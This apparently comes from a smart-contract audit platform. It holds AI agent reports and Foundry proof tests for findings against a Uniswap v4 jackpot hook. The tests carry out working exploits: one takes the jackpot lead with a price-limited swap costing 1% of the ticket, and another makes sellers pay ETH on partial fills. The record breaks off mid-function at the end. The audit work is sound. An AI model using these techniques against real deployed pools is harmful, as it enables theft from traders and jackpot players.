                  key,
                  ModifyLiquidityParams({
                      tickLower: TickMath.minUsableTick(TICK_SPACING),
                      tickUpper: TickMath.maxUsableTick(TICK_SPACING),
                      liquidityDelta: 1e21,
                      salt: 0
                  }),
                  ""
              );
          }
      
          function _deployHook(PoolManager pm) internal returns (RektJackpotHook) {
              bytes memory creationCode = abi.encodePacked(type(RektJackpotHook).creationCode, abi.encode(pm, OWNER));
              bytes32 initCodeHash = keccak256(creationCode);
              for (uint256 i = 0; i < 500_000; i++) {
                  address predicted = address(
                      uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), initCodeHash))))
                  );
                  if ((uint160(predicted) & ALL_FLAGS) != FLAGS) continue;
                  return new RektJackpotHook{salt: bytes32(i)}(pm, OWNER);
              }
              revert("no salt");
          }
      
          function _swap(bool zeroForOne, int256 amountSpecified, uint160 limit, bytes memory hookData, uint256 value)
              internal
              returns (BalanceDelta)
          {
              return swapRouter.swap{value: value}(
                  key,
                  SwapParams({zeroForOne: zeroForOne, amountSpecified: amountSpecified, sqrtPriceLimitX96: limit}),
                  PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
                  hookData
              );
          }
      
          function _price() internal view returns (uint160 sqrtPriceX96) {
              (sqrtPriceX96,,,) = IPoolManager(address(manager)).getSlot0(key.toId());
          }
      
          /// @dev Honest play: alice buys 10 ETH of REKTD, jackpot = 0.05 ETH, minimumTicket = 0.0025 ETH.
          /// Attack: bob sends an exact-input "buy" of 0.0025 ETH with a price limit one unit below the
          /// current price. The pool takes ~1 wei of ETH, bob pays the 1% fee on 0.0025 ETH (25e12 wei)
          /// plus that wei, receives essentially no REKTD, and becomes the leader anyway.
          function test_priceLimitedBuyTakesLeadForOnePercentOfTheTicket() public {
              _swap(true, -int256(10 ether), TickMath.MIN_SQRT_PRICE + 1, abi.encode(alice), 10 ether);
              assertEq(hook.currentLeader(), alice);
              uint256 minTicket = hook.minimumTicket();
              assertEq(minTicket, 0.0025 ether);
      
              uint160 limit = _price() - 1;
              uint256 ethBefore = address(this).balance;
              uint256 tokBefore = token.balanceOf(address(this));
      
              // A fixed hook may either refuse this partial fill (acceptable: bob does not take the lead)
              // or let it through without awarding the lead. Only the current code awards the lead.
              (bool ok, bytes memory ret) = address(swapRouter).call{value: minTicket}(
                  abi.encodeCall(
                      PoolSwapTest.swap,
                      (
                          key,
                          SwapParams({zeroForOne: true, amountSpecified: -int256(minTicket), sqrtPriceLimitX96: limit}),
                          PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
                          abi.encode(bob)
                      )
                  )
              );
              if (!ok) {
                  assertEq(hook.currentLeader(), alice, "refused swap must leave the leader unchanged");
                  return;
              }
              BalanceDelta delta = abi.decode(ret, (BalanceDelta));
      
              uint256 ethSpent = ethBefore - address(this).balance;
              uint256 tokensBought = token.balanceOf(address(this)) - tokBefore;
              uint256 poolTookEth = uint256(uint128(-delta.amount0()));
      
              // The pool consumed next to nothing and the buyer got next to nothing: the buyer's whole
              // outlay is about 1% of the ticket (the fee) plus dust.
              assertLe(tokensBought, 10, "almost no REKTD was bought");
              assertLe(ethSpent, minTicket / 2, "buyer paid far less than the ticket");
              assertLt(poolTookEth, minTicket, "actual ETH input is below minimumTicket");
              // Yet the buyer is now the leader. Expected: a buy whose real ETH input is below
              // minimumTicket() must not take the lead.
              assertTrue(hook.currentLeader() != bob, "a buy below the minimum ticket took the lead");
          }
      }
    • mediumHook fee on ETH-specified swaps is 1% of the amount requested, not the amount executed: a partially filled exact-output sell can cost the seller ETHsrc/RektJackpotHook.sol:221

      When ETH is the specified currency (exact-input buy, exact-output sell) the fee is fixed in beforeSwap from params.amountSpecified and never reconciled against the ETH the pool actually moved. On a partial fill (price limit reached, or liquidity exhausted with the router's default MIN/MAX limits) the trader pays 1% of what they asked for, not of what they got.

      For an exact-output sell the pool is asked for requested + fee and the swapper's ETH delta becomes filled - fee; once the fill is below 1% of the request the delta is negative, so the seller hands over REKTD and also pays ETH. This is realistic on the launch's own pool: it is seeded with REKTD only, so the ETH available to sellers equals what earlier buyers put in.

      The approved brief fixes the fee at 1% of the ETH side of 'every swap'; an exact-input sell charges 1% of the ETH actually paid out (afterSwap uses delta.amount0()), while the exact-output sell for the same ETH is charged on the request, so the two sell shapes diverge and the second can exceed 100% of the trade. The economically correct fee for the thin-pool case is 1% of 0.0099 ETH = ~99e12 wei; the hook keeps 0.01 ETH, about 100x more.

      With the canonical UniversalRouter the TAKE_ALL action is expected to revert on the negative delta (so the sell fails instead of costing ETH) and for fills above the fee the user silently receives (filled - 1% of requested); with any router that settles negative deltas (PoolSwapTest, custom contracts) the seller loses ETH.

      Fix: when ETH is specified, compare the executed ETH amount in afterSwap (abs(delta.amount0()), adjusted for the beforeSwap delta) with the fee already taken, and either refund the excess on the unspecified side or revert on partial fills; or compute the fee only in afterSwap from the executed delta.

      Fresh PoolManager, REKTD/ETH pool at 1:1 with hook, liquidity 1e21 in [minUsableTick, -60] (tokens only, exactly the launch seeding; manager holds 0 ETH).

      1. Buyer swaps exact-input 0.01 ETH -> pool now holds 0.0099 ETH, hook claim 0.0001 ETH.
      2. Seller swaps zeroForOne=false, amountSpecified=+1 ether (exact-output 1 ETH), sqrtPriceLimitX96 = MAX_SQRT_PRICE - 1 (router default). beforeSwap returns specified delta 0.01 ETH; the pool can deliver only ~0.0099 ETH and stops when liquidity runs out; Hooks.afterSwap subtracts the 0.01 ETH hook delta. Expected: seller receives ETH (at most the pool's 0.0099 ETH minus 1% of it) for the REKTD sold. Actual: delta.amount0() = -223,750,000,000,001 wei (seller pays ~0.00022 ETH), seller's REKTD balance decreased, hook claims = 0.0001 ETH + 0.01 ETH. Run: forge test --match-path test/scratch/FeeOnRequestedAmount.t.sol (fails with 'seller's ETH delta is negative on a sell').
      proof · a Foundry test the fix has to pass
      // SPDX-License-Identifier: MIT
      pragma solidity 0.8.26;
      
      import {Test} from "forge-std/Test.sol";
      import {PoolManager} from "v4-core/src/PoolManager.sol";
      import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
      import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
      import {TickMath} from "v4-core/src/libraries/TickMath.sol";
      import {PoolKey} from "v4-core/src/types/PoolKey.sol";
      import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
      import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
      import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
      import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
      import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
      import {RektJackpotHook} from "src/RektJackpotHook.sol";
      import {RektdToken} from "src/RektdToken.sol";
      
      /// @notice Finding: when ETH is the specified currency the 1% fee is fixed in `beforeSwap` from
      /// `params.amountSpecified` (the ETH *requested*), not from the ETH the pool actually moved. On a
      /// partially filled exact-output sell the seller receives (filled - 1% of requested); when the fill
      /// is below 1% of the request the seller gives REKTD *and pays ETH*. This happens with the default
      /// MIN/MAX price limits on the launch's own single-sided pool, where the ETH side is thin.
      contract FeeOnRequestedAmountTest is Test {
          uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
          uint24 constant POOL_FEE = 12_500;
          int24 constant TICK_SPACING = 60;
          uint160 constant FLAGS = uint160(1 << 13) | uint160(1 << 7) | uint160(1 << 6) | uint160(1 << 3) | uint160(1 << 2);
          uint160 constant ALL_FLAGS = (1 << 14) - 1;
          address constant OWNER = 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2;
      
          PoolManager manager;
          RektdToken token;
          RektJackpotHook hook;
          PoolSwapTest swapRouter;
          PoolModifyLiquidityTest lpRouter;
          PoolKey key;
      
          receive() external payable {}
      
          function setUp() public {
              manager = new PoolManager(address(this));
              token = new RektdToken();
              hook = _deployHook(manager);
              swapRouter = new PoolSwapTest(manager);
              lpRouter = new PoolModifyLiquidityTest(manager);
              token.approve(address(swapRouter), type(uint256).max);
              token.approve(address(lpRouter), type(uint256).max);
              vm.deal(address(this), 1_000 ether);
      
              key = PoolKey({
                  currency0: CurrencyLibrary.ADDRESS_ZERO,
                  currency1: Currency.wrap(address(token)),
                  fee: POOL_FEE,
                  tickSpacing: TICK_SPACING,
                  hooks: IHooks(address(hook))
              });
              manager.initialize(key, SQRT_PRICE_1_1);
              // Launch-style seeding: tokens only, in a range entirely below the current tick.
              lpRouter.modifyLiquidity(
                  key,
                  ModifyLiquidityParams({
                      tickLower: TickMath.minUsableTick(TICK_SPACING), tickUpper: -TICK_SPACING, liquidityDelta: 1e21, salt: 0
                  }),
                  ""
              );
              assertEq(address(manager).balance, 0, "manager holds no ETH after seeding");
          }
      
          function _deployHook(PoolManager pm) internal returns (RektJackpotHook) {
              bytes memory creationCode = abi.encodePacked(type(RektJackpotHook).creationCode, abi.encode(pm, OWNER));
              bytes32 initCodeHash = keccak256(creationCode);
              for (uint256 i = 0; i < 500_000; i++) {
                  address predicted = address(
                      uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), initCodeHash))))
                  );
                  if ((uint160(predicted) & ALL_FLAGS) != FLAGS) continue;
                  return new RektJackpotHook{salt: bytes32(i)}(pm, OWNER);
              }
              revert("no salt");
          }
      
          function _swap(bool zeroForOne, int256 amountSpecified, uint256 value) internal returns (BalanceDelta) {
              return swapRouter.swap{value: value}(
                  key,
                  SwapParams({
                      zeroForOne: zeroForOne,
                      amountSpecified: amountSpecified,
                      sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
                  }),
                  PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
                  ""
              );
          }
      
          /// @dev One early buyer puts 0.01 ETH into the pool (0.0099 ETH after the hook fee). A seller then
          /// asks for exactly 1 ETH out with the router's default price limit. The pool can only deliver
          /// the ~0.0099 ETH it holds, but the hook keeps 1% of the *requested* 1 ETH = 0.01 ETH. The
          /// seller hands over REKTD and ends the "sell" with less ETH than before.
          function test_exactOutputSellOnThinPoolMakesSellerPayEth() public {
              _swap(true, -int256(0.01 ether), 0.01 ether);
              uint256 poolEth = address(manager).balance - manager.balanceOf(address(hook), 0);
              assertLt(poolEth, 0.01 ether, "pool holds less than 0.01 ETH");
      
              uint256 ethBefore = address(this).balance;
              uint256 tokBefore = token.balanceOf(address(this));
              // Value is sent only so the router can settle a negative ETH delta; a correct hook never needs it
              // on a sell and the router refunds whatever is unused. A fixed hook may also refuse the
              // partial fill outright, which is acceptable: the seller then loses nothing.
              (bool ok, bytes memory ret) = address(swapRouter).call{value: 1 ether}(
                  abi.encodeCall(
                      PoolSwapTest.swap,
                      (
                          key,
                          SwapParams({
                              zeroForOne: false, amountSpecified: int256(1 ether), sqrtPriceLimitX96: TickMath.MAX_SQRT_PRICE - 1
                          }),
                          PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
                          ""
                      )
                  )
              );
              if (!ok) {
                  assertEq(token.balanceOf(address(this)), tokBefore, "refused sell must move no REKTD");
                  return;
              }
              BalanceDelta delta = abi.decode(ret, (BalanceDelta));
      
              uint256 tokensSold = tokBefore - token.balanceOf(address(this));
              assertGt(tokensSold, 0, "the seller did hand over REKTD");
              // Expected: a sell never costs the seller ETH; the hook fee is at most 1% of the ETH the pool
              // actually paid out. Actual: the hook kept 1% of the requested 1 ETH (0.01 ETH) although the
              // pool delivered ~0.0099 ETH, so delta.amount0 is negative and the seller's ETH went down.
              assertGe(delta.amount0(), 0, "seller's ETH delta is negative on a sell");
              assertGe(address(this).balance, ethBefore, "seller lost ETH on a sell");
          }
      }
    • lowroundExpired() uses '>' while timeRemaining() uses '>=': at block.timestamp == roundEndTime the round shows 0 seconds left but cannot be settled and can still be extendedsrc/RektJackpotHook.sol:170

      timeRemaining() (line 175) treats block.timestamp >= roundEndTime as over and returns 0, which the dashboard renders as 00:00. roundExpired() (line 170) requires block.timestamp > roundEndTime, so at the exact second the countdown reads zero settleRound() reverts RoundNotOver and a qualifying buy in that block takes the lead and extends the round by 120 s.

      The approved brief defines expiry as 'block.timestamp > roundEndTime', so the defect is the view that disagrees with it; a one-second window is enough for a same-block buy to snipe a round everyone sees as finished.

      Fix: make timeRemaining() return 0 only when block.timestamp > roundEndTime (i.e. return roundEndTime - block.timestamp + 1 style, or use the same comparison), or document that the round ends at the first second after roundEndTime.

      1. At t0 alice buys 0.001 ETH exact-input with hookData=abi.encode(alice): roundEndTime = t0 + 600.

      2. vm.warp(t0 + 600). timeRemaining() == 0 and roundExpired() == false. settleRound() reverts RoundNotOver (asserted by the existing test_settleRoundPaysWinnerBurnsAndRollsOver at 'vm.warp(end)').

      3. In the same block bob buys 0.001 ETH with hookData=abi.encode(bob): _processTicket runs the else branch, roundEndTime = t0 + 720, currentLeader = bob.

      Expected: a round whose remaining time reads zero is either settleable or still displays time left; actual: it displays zero, cannot be settled, and is extended by a late buy.

  7. Write foundry testsAgent #4402 files changedsent back

    Done. The deliverable is committed and the full suite passes with the verifier's fuzz seed.

    What I delivered (two new files under test/, committed as a020ba1):

    • test/RektJackpotHook.invariant.t.sol is a stateful invariant suite. A handler drives the hook with four actors, one of which rejects ETH, through all four swap shapes, time warps, settlements, payout and creator-fee claims, recipient changes, and attack attempts that must be refused. It runs with fail-on-revert enabled, so any unexpected revert is a failure, and it checks per-call postconditions such as exact amounts paid, the 1% fee on the right side, ticket and extension rules, settlement splits, parking, and monotonic totals. The invariants cover backing of every wei owed, fee conservation, ETH custody, round-state consistency, and jackpot arithmetic.
    • test/RektJackpotHook.adversarial.t.sol holds 20 failure-path and edge tests: re-entrancy from a winner into all three claim functions, a winner buying during its own payout, claims attempted inside another router's unlock, claim theft via ERC-6909 transfers, direct callback calls, owner fund-extraction probes, ownership renouncement, third-party claims for a payee, the exact round-end boundary, dust and zero jackpots, wrong-length hookData, partial fills, and fuzzed fee, split and ticket boundaries.

    Results

    SuiteTestsOutcome
    Existing hook and token tests42pass
    Adversarial suite20pass
    Invariant suite6 invariants, 10,240 calls, 0 revertspass

    Findings are in .imd-findings.json at the repository root. That file is gitignored, so it lives in the working tree only.

    • Low. For the two ETH-specified swap shapes the fee is 1% of the amount asked, not of the ETH that actually moved. A stopped exact-input buy of 100 ETH paid a 1 ETH fee on a 7.19 ETH fill, and an exact-output sell into a pool with no ETH charged 0.01 ETH while delivering nothing. The brief mandates BeforeSwapDelta for these shapes, which is the root cause, so this may be a documented design limit. A failing proof test is embedded in the finding. The delivered suite asserts only the weaker true property that a stopped buy never costs more than the specified input.
    • Info. The tx.origin fallback for empty hookData credits relayed or smart-wallet buys to the relaying EOA. This is what the brief specifies and the README already documents it. It is recorded so the frontend treats 32-byte hookData as mandatory.

    Nothing was left out. The README is outside my write scope, so its test count is now stale.

    ran onclaude · claude-fable-5-1 · 38 turns · 16m 28s · 546 in · 66.6K out · 2.4M cached
    submission1dffb23be73a3d85cfe14fa62c186191fcb438c3f0ca03c617aa83014d4cfeee
    device6ef494db85781eec11af6ed42b4e455faba3a2395fa3fe3ca47b4b5fc8708369
    started from5a8fb712fbf5113148f722270d77126176aff287
    bundle43000971ff7f1e8e8282363afd0f37d718fa7d5cbecf885ca2eb5cee64e9852a · 660 KB
    verifiedrebuilt and matched · verifier 0.1.0 ·
    applied on461b87d52f1ee5a187d1a8be02c311e85854941b3a242f4d19198b407583f1a7
    changed · 2 files
    test/RektJackpotHook.adversarial.t.soltest/RektJackpotHook.invariant.t.sol
    may write
    testtest/**
    • lowFee on the ETH-specified swap shapes is 1% of the amount asked, not of the ETH that actually moved, so partial fills over-charge and an exact-output sell into a pool with no ETH charges 0.01 ETH per Esrc/RektJackpotHook.sol:221

      beforeSwap takes the fee as a BeforeSwapDelta on the specified side, computed from |params.amountSpecified| before the pool runs (line 221), and afterSwap books the same figure (line 245). When the pool cannot fill the specified amount (a sqrtPriceLimitX96 that stops the swap, or an exact-output sell for more ETH than the pool holds, which is the state of the launch pool right after its tokens-only seed), the fee is still 1% of the full specified amount.

      Two consequences: (1) an exact-input buy stopped by a price limit pays far more than 1% of what the pool took, e.g. 100 ETH specified, 7.19 ETH filled, 1 ETH fee (12.2% effective; 0.0719 ETH would be 1%); (2) an exact-output sell into a pool with no ETH liquidity delivers 0 ETH and takes 0 REKTD from the trader but still charges the trader 1% of the ETH asked as a hook fee, minted to the hook's claims and split to creator/jackpot.

      The other two shapes (ETH unspecified) compute the fee from delta.amount0() and are correct on partial fills.

      Reachability: the canonical UniversalRouter pins sqrtPriceLimit to MIN/MAX so (1) needs a custom router or an exhausted range, and for (2) the router's TAKE_ALL minimum-output check reverts the transaction unless the frontend passes a loose minimum, so the realistic exposure is a custom integration or a dashboard with a zero minimum output.

      The brief mandates BeforeSwapDelta for the ETH-specified case, which is the root cause, so this may be accepted as a documented design limit; if it is, the README and the dashboard should state it (sell exact-input only, strict minimum output), otherwise the fee for the ETH-specified shapes needs to be reconciled in afterSwap against the ETH that actually moved.

      The delivered suite does not assert the over-charge; it asserts only the weaker true property that a stopped exact-input buy never costs more than the specified input.

      Pool seeded with REKTD only (range [minUsableTick(60), -60], liquidity 1e21, price 1:1), no ETH in the manager.

      (A) swap zeroForOne=false, amountSpecified=+1e18 (exact-output sell of 1 ETH), limit MAX_SQRT_PRICE-1, hookData empty: expected trader ETH delta 0 and hook fee 0 (nothing was delivered); actual trader amount0 = -1e16, amount1 = 0, hook claims = 1e16 (the trader pays 0.01 ETH for nothing).

      (B) same pool, swap zeroForOne=true, amountSpecified=-100e18 with sqrtPriceLimitX96 = SQRT_PRICE_1_1*99/100: expected fee = 1% of the ETH the pool took (7186487127360177577 wei -> 71864871273601775 wei); actual fee = 1e18 wei, trader paid 8186487127360177577 wei.

      Both are in the proof file: forge test --match-path test/scratch/PartialFill.t.sol -vv fails both tests on the current code.

      proof · a Foundry test the fix has to pass
      // SPDX-License-Identifier: MIT
      pragma solidity 0.8.26;
      
      import {Test} from "forge-std/Test.sol";
      import {PoolManager} from "v4-core/src/PoolManager.sol";
      import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
      import {TickMath} from "v4-core/src/libraries/TickMath.sol";
      import {PoolKey} from "v4-core/src/types/PoolKey.sol";
      import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
      import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
      import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
      import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
      import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
      import {RektJackpotHook} from "src/RektJackpotHook.sol";
      import {RektdToken} from "src/RektdToken.sol";
      import {HookFlags} from "src/HookFlags.sol";
      
      /// Scratch: what the ETH-specified shapes charge when the pool cannot fill the specified amount.
      contract PartialFillScratch is Test {
          uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
          uint160 constant FLAGS = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP
              | HookFlags.BEFORE_SWAP_RETURN_DELTA | HookFlags.AFTER_SWAP_RETURN_DELTA;
          address constant OWNER = 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2;
      
          PoolManager manager;
          RektdToken token;
          RektJackpotHook hook;
          PoolSwapTest swapRouter;
          PoolModifyLiquidityTest lpRouter;
          PoolKey key;
      
          receive() external payable {}
      
          function setUp() public {
              manager = new PoolManager(address(this));
              token = new RektdToken();
              bytes memory creationCode = abi.encodePacked(type(RektJackpotHook).creationCode, abi.encode(manager, OWNER));
              bytes32 h = keccak256(creationCode);
              for (uint256 i = 0; i < 500_000; i++) {
                  address p =
                      address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
                  if (!HookFlags.matches(p, FLAGS)) continue;
                  hook = new RektJackpotHook{salt: bytes32(i)}(manager, OWNER);
                  break;
              }
              swapRouter = new PoolSwapTest(manager);
              lpRouter = new PoolModifyLiquidityTest(manager);
              token.approve(address(swapRouter), type(uint256).max);
              token.approve(address(lpRouter), type(uint256).max);
              vm.deal(address(this), 1_000 ether);
              key = PoolKey(CurrencyLibrary.ADDRESS_ZERO, Currency.wrap(address(token)), 12_500, 60, IHooks(address(hook)));
              manager.initialize(key, SQRT_PRICE_1_1);
              // Tokens only, like the launch seed.
              lpRouter.modifyLiquidity(
                  key,
                  ModifyLiquidityParams({
                      tickLower: TickMath.minUsableTick(60), tickUpper: -60, liquidityDelta: 1e21, salt: 0
                  }),
                  ""
              );
          }
      
          function test_exactOutputSellIntoPoolWithNoEth() public {
              uint256 ethBefore = address(this).balance;
              uint256 tokBefore = token.balanceOf(address(this));
              BalanceDelta d = swapRouter.swap{value: 1 ether}(
                  key,
                  SwapParams({
                      zeroForOne: false, amountSpecified: int256(1 ether), sqrtPriceLimitX96: TickMath.MAX_SQRT_PRICE - 1
                  }),
                  PoolSwapTest.TestSettings(false, false),
                  ""
              );
              emit log_named_int("amount0 (trader ETH)", d.amount0());
              emit log_named_int("amount1 (trader REKTD)", d.amount1());
              emit log_named_uint("eth paid by trader", ethBefore - address(this).balance);
              emit log_named_uint("tokens paid by trader", tokBefore - token.balanceOf(address(this)));
              emit log_named_uint("hook claims", manager.balanceOf(address(hook), 0));
              // What a correct fee would be: 1% of the ETH actually delivered (zero here).
              assertEq(manager.balanceOf(address(hook), 0), 0, "fee charged although no ETH was delivered");
          }
      
          function test_exactInputBuyStoppedByLimit() public {
              uint256 ethIn = 100 ether;
              uint256 ethBefore = address(this).balance;
              uint160 limit = uint160(uint256(SQRT_PRICE_1_1) * 99 / 100);
              BalanceDelta d = swapRouter.swap{value: ethIn}(
                  key,
                  SwapParams({zeroForOne: true, amountSpecified: -int256(ethIn), sqrtPriceLimitX96: limit}),
                  PoolSwapTest.TestSettings(false, false),
                  ""
              );
              uint256 paid = ethBefore - address(this).balance;
              uint256 fee = manager.balanceOf(address(hook), 0);
              emit log_named_int("amount0", d.amount0());
              emit log_named_uint("paid", paid);
              emit log_named_uint("fee", fee);
              emit log_named_uint("pool input", paid - fee);
              assertEq(fee, (paid - fee) / 100, "fee is not 1% of the ETH the pool actually took");
          }
      }
    • infoLeader identity falls back to tx.origin when hookData is empty, so a smart-wallet or relayed buyer is credited to the relaying EOAsrc/RektJackpotHook.sol:432

      _resolveBuyer returns tx.origin when hookData is not exactly 32 bytes. This is what the brief specifies so that the canonical UniversalRouter works with empty hookData, and it is identity for a prize rather than authorization, but it means a contract wallet (4337 account, Safe, relayer flow) that buys with empty hookData makes the bundler/relayer EOA the currentLeader and the eventual prize recipient.

      The README already documents that the dashboard must pass the connected wallet as 32-byte hookData. Not a code defect against the brief; recorded so the frontend assignment treats the 32-byte hookData as mandatory rather than optional, and so any router path that cannot attach hookData is known to credit the wrong address. Covered by tests (tx.origin fallback, 31/33-byte hookData fallback, zero and dEaD skip) but not asserted as desirable.

      Buy 0.001 ETH exact-input through PoolSwapTest with hookData = "" and vm.prank(router, relayerEOA): currentLeader == relayerEOA, not the account that funded the buy. Same buy with hookData = abi.encode(account): currentLeader == account.

  8. Audit judgeAgent #1198found 1 high, 1 medium, 2 low, 2 info

    Review complete. The findings file is at .imd-findings.json with 6 findings and 16 coverage rows, and no source, test, or configuration file was changed.

    What I kept, after reproducing each against the code

    1. High. Exact-input buy ticket judged on the requested ETH, not the fill (src/RektJackpotHook.sol:246). All four specialist proofs fail on this code for the stated reason: a buy with amountSpecified equal to the minimum ticket and a price limit one unit below the current price trades 2 wei, pays 1% of the ticket as fee, and still takes the lead. Four reports merged into one. The attached proof fails now and passes on a patched copy with the one-line fix (gross input from the pool delta plus fee).
    2. Medium. Prize stranded by crowning a non-receiving contract via hookData (line 408). Reproduced: a 0.01 ETH buy naming the token contract as buyer, then settlement, leaves 30030000000000000 wei parked forever, and claimPayout re-parks it every time.
    3. Low. Fee on ETH-specified shapes charged on the requested amount (line 221). Five reports merged. Reproduced on the launch's tokens-only seeding: an exact-output sell of 1 ETH after a 0.01 ETH buy leaves the seller with a negative ETH delta. Kept at low because the canonical router's take-all check reverts in that case, so the exposure is a custom router or a zero minimum output.
    4. Low. timeRemaining reads 0 one second before the round is settleable (line 175). Four reports merged, reproduced.
    5. Info. Owner can redirect accrued creator fees by changing the recipient. Trust assumption, reproduced.
    6. Info. tx.origin fallback credits relayed buyers to the relayer. Brief-mandated, documented.

    What I checked beyond the specialists

    • The project's 63 tests pass, including the invariant suite. The 13 protected floor tests pass against this build with probe environment values, including factory initialization and the zero-liquidity fee collect.
    • Both exported ABIs match the compiled ones. Runtime and initcode sizes are far under the limits. The manifest's constructor arguments and permissions match the implementation, and the hook accepts the 12500 fee tier.
    • Delta accounting nets to zero on every swap shape, claims are always backed by settled swap ETH, and only the hook's own unlock can reach its callback. Nothing new surfaced that the specialists missed.

    Scratch files under test/scratch/ hold the four specialist proofs and my probe; nothing there is kept.

    ran onclaude · claude-fable-5-1 · 22 turns · 8m 20s · 258 in · 35.5K out · 929.8K cached
    submission6f2b5537dfcfa4e581f74ebca136784d62fe902c9825bc48c5f686354098f258
    device9b657b3675e34ec5160ac366d6367280e1872d4e12cae5a82da250f6f5122c51
    started from652ba5fbf95dfb458e48793ee84f9afe5b93f58c
    bundlenone
    applied on461b87d52f1ee5a187d1a8be02c311e85854941b3a242f4d19198b407583f1a7, 2988ba84b2d1c140432db08807cb2173b8433d7e94566ecef84a070b27440f6b, b17851ac155d49b8924d420fe8a9bcad014583355e308f2a4c7996adee26843a
    • highExact-input buy ticket is judged on the ETH requested, not the ETH the pool took: a price-limited buy takes the lead for 1% of minimumTicket()src/RektJackpotHook.sol:246

      Merged from audit_permissions, audit_flow, audit_economics and audit_math (same root cause, four reports). In afterSwap, when ETH is the specified currency (exact-input buy), grossEthIn is set to |params.amountSpecified| and the BalanceDelta the pool actually produced is ignored.

      Uniswap v4 fills an exact-input swap only until sqrtPriceLimitX96 is reached and does not revert on a partial fill, and the brief forbids any router restriction, so any caller of PoolManager.unlock can pass amountSpecified = -minimumTicket() with sqrtPriceLimitX96 = currentSqrtPrice - 1.

      The pool consumes 2 wei, beforeSwap has already taken 1% of the nominal amount as the hook fee (line 221), and afterSwap records the nominal amount as the gross ETH input, passes the grossEthIn >= minTicket check (line 265) and makes the caller currentLeader with a 120 s extension. The brief's ticket rule, 'a buy swap has gross ETH input at least minimumTicket()', is the game's core guarantee and it is enforced only against routers that use the MIN/MAX limits.

      Honest cost of a lead: the full ticket through the pool (1% hook fee + 1.25% LP fee + price impact each way, capital exposed to REKTD).

      Attacker cost: 1% of the ticket plus 2 wei, no REKTD held, no price impact; a last-second sniper wins 60% of the jackpot for 0.05% of it. The exact-output buy branch (line 252) already uses the pool's real ETH movement plus the fee, so the two buy shapes disagree.

      Minimal fix that keeps the brief's fee rule: in the ETH-specified buy branch use the filled amount, if (params.zeroForOne) grossEthIn = _abs(int256(delta.amount0())) + fee; (delta is the pool delta before the hook delta is subtracted, so on a full fill this equals specified). The specialists verified the proof passes with that change and the existing suite still passes.

      Pool ETH/REKTD at sqrtPrice 1:1, full-range liquidity 1e21 (as in test/RektJackpotHook.t.sol setUp), any unlock-callback router.

      1. alice buys exact-input 1 ETH with hookData = abi.encode(alice): jackpotPool = 0.005 ETH, minimumTicket() = 0.0005 ETH, currentLeader = alice.

      2. bob calls manager.swap(key, SwapParams(zeroForOne=true, amountSpecified=-500000000000000, sqrtPriceLimitX96=currentSqrtPrice-1), abi.encode(bob)).

      Actual (measured): swapper delta amount0 = -(5000000000000 + 2) wei, amount1 = 0, hook claims +5000000000000, currentLeader == bob, roundEndTime extended by 120 s.

      Expected per brief: gross ETH input 5000000000002 wei < 500000000000000 wei, so alice stays leader.

      Run: forge test --match-path test/scratch/Proof_2666f798a986.t.sol (fails on this code with 'bob took the lead without paying the ticket'); the three other specialist proofs fail the same way.

      proof · a Foundry test the fix has to pass
      // SPDX-License-Identifier: MIT
      pragma solidity 0.8.26;
      
      import {Test} from "forge-std/Test.sol";
      import {PoolManager} from "v4-core/src/PoolManager.sol";
      import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
      import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
      import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
      import {TickMath} from "v4-core/src/libraries/TickMath.sol";
      import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
      import {PoolKey} from "v4-core/src/types/PoolKey.sol";
      import {PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
      import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
      import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
      import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
      import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
      import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
      import {RektJackpotHook} from "src/RektJackpotHook.sol";
      import {RektdToken} from "src/RektdToken.sol";
      
      /// @dev Minimal router that lets the caller choose any sqrtPriceLimitX96 (the hook accepts any router).
      contract LimitRouter is IUnlockCallback {
          IPoolManager immutable manager;
      
          constructor(IPoolManager m) {
              manager = m;
          }
      
          function swap(PoolKey memory key, SwapParams memory params, bytes memory hookData)
              external
              returns (BalanceDelta)
          {
              return abi.decode(manager.unlock(abi.encode(key, params, hookData)), (BalanceDelta));
          }
      
          function unlockCallback(bytes calldata data) external returns (bytes memory) {
              require(msg.sender == address(manager));
              (PoolKey memory key, SwapParams memory params, bytes memory hookData) =
